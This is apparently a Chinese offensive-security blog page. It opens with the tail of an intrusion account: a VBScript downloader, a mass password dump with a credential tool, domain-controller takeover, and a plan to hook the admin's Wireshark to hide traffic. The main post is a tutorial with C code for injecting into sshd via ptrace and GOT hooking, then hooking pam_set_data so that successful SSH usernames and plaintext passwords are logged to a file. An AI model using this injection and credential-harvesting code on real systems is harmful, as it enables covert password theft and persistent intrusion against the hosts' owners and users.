Post.Open "GET","http://www.baidu.com/",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\http.txt",2

看了下,并没有,寄


第二天,使用了minilove抓了2000密码,直接登录域控
photo_2022-07-29_15-08-46.jpg
甚至还有域林,我们的权限甚至能访问全网。。。

不过看了下进程,管理员tmd开着wireshark盯着流量出口,算了算了,溜了,拿下域控就没啥意思了,走了。

后续想要日的话,基本流程就是整一个wirekshark的HOOK,把域控上面的那个wireshark给HOOK了,把我们的流量给隐藏掉,不然做任何操作都是会被管理员发现的。

Tags: none

分析并HOOK SSHD来劫持密码

前言

项目地址:sshdHooker,开箱即用,但是只支持x64。

当我们通过洞,拿到一台linux机器的最高权限的时候,我们基本都想扩大战果。然而和windows不同,linux的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似lsass这样的东西甚至会把明文密码记录内存,也没有NTLM这种好用的通用token,所以基本都是使用一些特殊的方式记录密码。例如PAM,就比如我这个文章:一般路过PAM后门 / SSH密码记录

改PAM有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到root了,就没有一种,简单粗暴的方法嘛?

在上面文章中,我们可以看到,使用strace监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用strace的优点是比如重编译PAM和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。

那么有没有什么办法,用类似strace的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。

流程分析

先总结一下我们有什么,strace,是使用ptrace直接记录系统调用的,基本就是ptrace监听attach。所以我们的目标也很明确,就是使用ptrace整一个花活。

最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是HOOK一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)

正好,我们手头里之前研究过了一个东西,那就是linux下的进程注入器:Linux下进程隐藏 二 -- 进程注入(So注入)

可以注入到内存之后,就要来一个经典问题:HOOK哪里?怎么HOOK?

HOOK哪里-PAM调用机制

一般路过PAM后门 / SSH密码记录 文章可以看到,我们的unix_pam.so是用来进行密码验证的模块

// linux-pam/modules/pam_unix/pam_unix_auth.c
int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    unsigned long long ctrl;
    int retval, *ret_data = NULL;
    const char *name;
    const char *p;

    D(("called."));

    /* .....省略... */

    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}

然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate这个函数。该项目属于libpam,是sshd一个下属的模块之一,用于控制PAM模块。

我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate 之类的函数,那么我们大胆猜测一下,会不会是sshd的操作流程是

  • sshd启动
  • 加载libpam
  • libpam搜索目录下所有文件
  • libpam 动态加载pam_sm_authenticate
  • pam模块导入成功

猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在pam_handle下发现了相关代码

int _pam_add_handler(pam_handle_t *pamh
             , int handler_type, int other, int stack_level, int type
             , int *actions, const char *mod_path
             , int argc, char **argv, int argvlen)
{
    struct loaded_module *mod = NULL;
    struct handler **handler_p;
    struct handler **handler_p2;
    struct handlers *the_handlers;
    const char *sym, *sym2;
    char *mod_full_path;
    servicefn func, func2;
    int mod_type = PAM_MT_FAULTY_MOD;

    D(("called."));
    IF_NO_PAMH("_pam_add_handler",pamh,PAM_SYSTEM_ERR);

    D(("_pam_add_handler: adding type %d, handler_type %d, module `%s'",
    type, handler_type, mod_path));

    if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) &&
    mod_path != NULL) {
    if (mod_path[0] == '/') {
        mod = _pam_load_module(pamh, mod_path, handler_type);
    } else if (asprintf(&mod_full_path, "%s%s",
                 DEFAULT_MODULE_PATH, mod_path) >= 0) {
        mod = _pam_load_module(pamh, mod_full_path, handler_type);
        _pam_drop(mod_full_path);
    } else {
        pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path");
        return PAM_ABORT;
    }

    if (mod == NULL) {
        /* if we get here with NULL it means allocation error */
        return PAM_ABORT;
    }

    mod_type = mod->type;
    }

    if (mod_path == NULL)
    mod_path = UNKNOWN_MODULE;

    /*
     * At this point 'mod' points to the stored/loaded module.
     */

    /* Now define the handler(s) based on mod->dlhandle and type */

    /* decide which list of handlers to use */
    the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;

    handler_p = handler_p2 = NULL;
    func = func2 = NULL;
    sym2 = NULL;

    /* point handler_p's at the root addresses of the function stacks */
    switch (type) {
    case PAM_T_AUTH:
    handler_p = &the_handlers->authenticate;
    sym = "pam_sm_authenticate";
    handler_p2 = &the_handlers->setcred;
    sym2 = "pam_sm_setcred";
    break;
    case PAM_T_SESS:
    handler_p = &the_handlers->open_session;
    sym = "pam_sm_open_session";
    handler_p2 = &the_handlers->close_session;
    sym2 = "pam_sm_close_session";
    break;
    case PAM_T_ACCT:
    handler_p = &the_handlers->acct_mgmt;
    sym = "pam_sm_acct_mgmt";
    break;
    case PAM_T_PASS:
    handler_p = &the_handlers->chauthtok;
    sym = "pam_sm_chauthtok";
    break;
    default:
    /* Illegal module type */
    D(("_pam_add_handler: illegal module type %d", type));
    return PAM_ABORT;
    }

    /* are the modules reliable? */
    if (mod_type != PAM_MT_DYNAMIC_MOD &&
     mod_type != PAM_MT_FAULTY_MOD) {
    D(("_pam_add_handlers: illegal module library type; %d", mod_type));
    pam_syslog(pamh, LOG_ERR,
            "internal error: module library type not known: %s;%d",
            sym, mod_type);
    return PAM_ABORT;
    }

    /* now identify this module's functions - for non-faulty modules */

    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func = _pam_dlsym(mod->dl_handle, sym)) ) {
    pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym);
    }
    if (sym2) {
    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) {
        pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym2);
    }
    }
/* ..... 后面省略*/

我们直接看到_pam_dlsym_pam_dlopen,基本可以证明我们的猜想。

就是libpam是通过dlopen和dlsym动态加载的。我们只要hook了dlopen和dlsym,判断是否是pam_unix.so的不就行了?

(然而以上只是理论可行,实际上注入的时候不知道为什么老是HOOK不到dlopen的GOT表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)

怎么HOOK?-GOT HOOK

最最最简单的办法是,inline hook,直接找到API地址,然后修改他们开头的字节,直接jmp到我们的函数地址,然后等我们函数执行完的时候再还原。

然而有个问题是,这是windows api的修改方法,我们这个是linux,修改的是外部so加载的地址。所以我们得转变个思路:我们是如何调用一个所加载so的导出函数地址的?这就涉及到了另一个东西,GOT表。大概意思就是这个表中加载的所有so的导出地址,有函数名->对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。

好,二话不说,github找段代码: inject_got,把这玩意编译成so文件拿去注入就OK了

现在我们有能力直接HOOK我们想要的函数了。

验证猜想

既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接GDB打个断点,然后使用SSH连接,看看我们能否hook到dlopen就知道了。然后我们就照做了。

1.png

可以看到,我们用gdb直接载入sshd之后,用b给dlopen下了一个断点。结果并没有什么卯月,还给我们了弹了两个process 1401834 is executing new program: /usr/sbin/sshd 新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理ssh登录请求的呢?我们真实要注入的地址其实是这些子进程?

我们通过ssh脸上自己之后,使用pstree来查看子进程。

2.png

可以看到sshd之后又跟了两个子进程,我们挨个挂载。直接b 跟进子进程

3.png

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到strace来看看这些到底是如何做到的。

首先我们先看子进程是如何创建的。我们用strace记录了sshd进程再ssh接收到登录并且密码输入正确的时候(我截图的这个stree日志是之前记录的,那时候sshd的pid是9731)
4.png

在第一个子进程出现的时候,sshd调用了clone调用

9731  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...>
9731  <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242

创建了子进程10242之后,clone返回了子进程的pid。

之后再有子进程调用clone,创建了子子进程10249

10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249

符合之前pstree看到的结果。

然后再看我们的pam模块是怎么加载的,直接搜索.so相关的
5.png

可以看到,进行so相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。

监控子进程

既然每个ssh连接是由不同的子进程处理的,那么我们只注入sshd进程肯定是不行的了。因为子进程才是关键,根据strace结果,我们知道系统是调用了clone,并且还能拿到结果,那么就简单了,直接使用pstrace,拦截syscall调用就行,根据syscall调用表,我们知道clone的调用号是56。

大概伪代码如下

    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        pthread_t id;
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);// 获得调用号值
        if(num == 56){ // 是调用了clone
            printf("system call num = %ld\n", num);
            ptrace_getregs( target_pid, &regs ); // 获得调用结果
            printf("Process maybe = %ld \n", regs.rax); 
            subprocess = regs.rax;
            // do_something(subprocess);
        }
    }

控制注入顺序

然而,知晓了clone创建的时间,还是不能直接HOOK进去修改dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在libpam中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的inject_got注入进去,会没办法修改到libpam中的dlopen。

直接看代码,原始代码inject_got中的代码应该是这样

/* .... */
char buf[MAX_BUF_SIZE] = {0}; 
int err = get_exe_name(buf, sizeof(buf));
void* base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程
/* .... */

其中get_module_base的作用是从/prof/pid/maps里读取模块的基地址,然后再载入内存ELF进行GOT表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的GOT,libpam里的是不会照着主模块的GOT进行执行的,必须修改到libpam的GOT表。

6.png

但是根据上述所说,直接clone的时候就注入,libpam还没有载入到内存中,maps里就找不到基地址,修改GOT就更无从谈起,因此我们需要一个函数来判断libpam的加载,最简单的办法就是HOOK openat调用号进行判断。我们在我们原始的注入程序中加入以下判断

int WaitforLibPAM(pid_t target_pid){
    struct user_regs_struct regs;
    if ( ptrace_attach( target_pid ) == -1 ){

        printf("WaitforLibPAM attach Failed\n" );
        return -1;
    }
    if ( ptrace_getregs( target_pid, &regs ) == -1 ){
        printf("-- Getregs Error\n" );
        return -1;
    }
    //ptrace_continue( target_pid );
    long num,bit=0,finded = 0;
    char *path = malloc(255);
    char libsystemd[] = "common-session";
    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
            //printf("++ SubProcess: system call num = %ld\n", num);
        if(num ==257){
            ptrace_getregs( target_pid, &regs ) ;
            printf("++ SubProcess: rsi :%p\n",regs.rsi);
            //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length );
            //ptrace_continue( target_pid );
            ptrace_readdata(target_pid,(void *)regs.rsi,path,255);
            printf("++ SubProcess:openat path :%s\n",path);
            if(strstr(path,libsystemd)){
                ptrace_detach(target_pid);
                // do_inject_so(target_pid);
                break;
            }
        }
    }
}

通过strace判断,打开common-session文件在打开libpam.so文件之后,因此只要判断openat打开了common-session就能知道libpam已经被加载了。

然后把inject_got中的代码修改一下

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1");

这样后续的修改GOT就会是修改libpam的GOT了

过程控制-读取密码

回到上面的pam_unix_auth.c,我们知道了所有的函数都会调用pam_sm_authenticate,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取

直接看到pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)的第一个参数pamh,它是一个pam_handle_t结构如下,

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
                     event driven applications */
    const char *mod_name;    /* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;            /* Which function we call from the module */

#ifdef HAVE_LIBAUDIT
    int audit_state;             /* keep track of reported audit messages */
#endif
    int authtok_verified;
    char *confdir;
};

很多看不懂的结构体甚至还有一个ifdef是不是?肯定有人会问了,"这ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"

其实,我们真正需要的只有authtokuser,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的inject_got中只需要定义成如下

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
};

即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。

能获取到密码之后,我们就需要判断是如何验证密码了,继续看到unic_pam_auth.c,直接看到函数最后两行

retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;

通过理解代码,_unix_verify_password就是用来验证账号密码的,如果账号密码正确,retval返回值就是PAM_SUCCESS(定义为0),那么后续呢?我们直接看AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

可以看到retval就直接被返回回去了。所有条件达成。
我们只需要做一个HOOK函数

int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{

    int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup);
    if(ret==0){
        printf("login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        // do something
    }
    return ret;
}

组合-理想

通过组合所有条件,我们手里有一个注入器,一个so(inject_got),我们的流程基本就是。

  • 注入器注入SSHD
  • 注入器HOOK系统调用clone,判断子进程出现
  • 注入器注入子进程
  • 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
  • libpam装载完毕,注入so文件(inject_got)
  • inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
  • 等待执行dlopen时,跳转到my_dlopen
  • my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
  • 等待指行dlsym时候,跳转到my_dlsym
  • my_dlsym判断加载的请求是否是pam_sm_authenticate
  • my_dlsym判断加载的handle是否是pam_unix.so
  • my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
  • 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
  • my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
  • 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
  • 密码记录完成

组合-现实

这是理想情况,然而可恶的是,tmd不知道为什么inject_so老是无法修改dlopen的,倒是能找到dlsym的GOT表并修改,就很蛋疼,光有dlsym的函数地址也不是不行,但是问题就在于,调用pam_sm_authenticate的不止一个so,我不知道哪个handle是属于pam_unix.so的pam_sm_authenticate,不同的so文件中pam_sm_authenticate的返回值代表的也不一样。

本来想着能不能通过dlsym的handle,逆回去看看handle所对应的路径,然而看了下相关源码(linux就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外HOOK点。

我们再次回到_unix_verify_password结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕HOOK了也没用。_unix_verify_password后的操作只有一个,那就是AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

我们把木管看向pam_set_data,又有独一无二的字符串(指unix_setcred_return)让我们确认是属于位于这里的pam_set_data,又有先前_unix_verify_password运行后的结果的值(指*ret_data = retval;

于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在pam_unix.so中,所以我们要把之前的基地址从libpam改为pam_unix.so

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so");

然后,我们在做一个hook函数

int my_pam_set_data(struct pam_handle *pamh, const char *module_data_name, void *data,void* cleanup)
{

        char unix_setcred_return[] = "unix_setcred_return";
        if(strstr(unix_setcred_return,module_data_name)){
        FILE *fp = NULL;
        fp = fopen("/tmp/set_data.txt", "a+");
        void * test = malloc(sizeof(int));
        fprintf(fp,"pam module_data_name: %s %d\n",module_data_name,*(int *)data);
        int ret = *(int*)data;
        if(ret == 0){
                fprintf(fp,"login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        }
        fclose(fp);
        } 
        //if(strstr(module_data_name,unix_setcred_return)){
        //while(1){} }
    return old_pam_set_data(pamh,module_data_name,data,cleanup);
}

这样就大功告成辣!

Tags: hook, linux, 劫持, sshd, 二进制